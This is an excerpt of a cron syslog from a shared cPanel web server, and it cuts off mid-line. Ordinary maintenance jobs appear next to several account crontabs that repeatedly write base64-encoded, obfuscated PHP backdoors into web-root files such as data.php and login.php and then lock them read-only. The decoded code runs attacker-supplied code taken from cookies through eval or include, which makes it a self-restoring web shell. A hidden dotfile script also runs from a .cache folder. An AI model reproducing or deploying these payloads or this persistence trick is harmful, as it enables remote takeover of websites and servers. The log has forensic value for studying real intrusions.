Mar  1 10:36:01 medusa CROND[16041]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:36:01 medusa CROND[16047]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:37:01 medusa CROND[6062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:37:01 medusa CROND[6143]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:37:01 medusa CROND[6149]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:37:01 medusa CROND[6150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:37:01 medusa CROND[6151]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:37:01 medusa CROND[6152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:37:01 medusa CROND[6154]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:37:01 medusa CROND[6155]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:37:01 medusa CROND[6157]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:37:01 medusa CROND[6167]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:37:01 medusa CROND[6170]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:37:01 medusa CROND[6175]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:37:01 medusa CROND[6176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:38:01 medusa CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:38:01 medusa CROND[26207]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:38:01 medusa CROND[26208]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:38:01 medusa CROND[26209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:38:02 medusa CROND[26210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:38:02 medusa CROND[26214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:38:02 medusa CROND[26217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:38:02 medusa CROND[26215]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:38:02 medusa CROND[26216]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:38:02 medusa CROND[26219]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:38:02 medusa CROND[26221]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:38:02 medusa CROND[26223]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:38:02 medusa CROND[26213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:39:02 medusa CROND[16284]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:39:02 medusa CROND[16286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:39:02 medusa CROND[16287]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:39:02 medusa CROND[16288]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:39:02 medusa CROND[16289]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgc